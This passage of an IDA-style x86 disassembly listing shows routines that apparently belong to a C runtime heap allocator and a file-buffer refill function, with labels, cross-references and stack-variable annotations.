		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A310, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A300
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27B0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A300
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A300, 0
		jnz	short loc_41E9F6
		mov	off_43A300, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A304, 0
		jnz	short loc_41EA1B
		mov	off_43A304, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A304
		mov	[esi+4], eax
		mov	off_43A304, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28C0632h

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27A0000h

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28C0632h
		cmp	off_43C320, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C320, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC944
		nop
		call	near ptr 27A0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A310, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A304
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28C0632h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB324
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A304
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A300
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB324
		cmp	dword_4DB324, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C320
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C320
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C320, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A300
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28C07A0h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C320, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C320, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC600[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C980

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

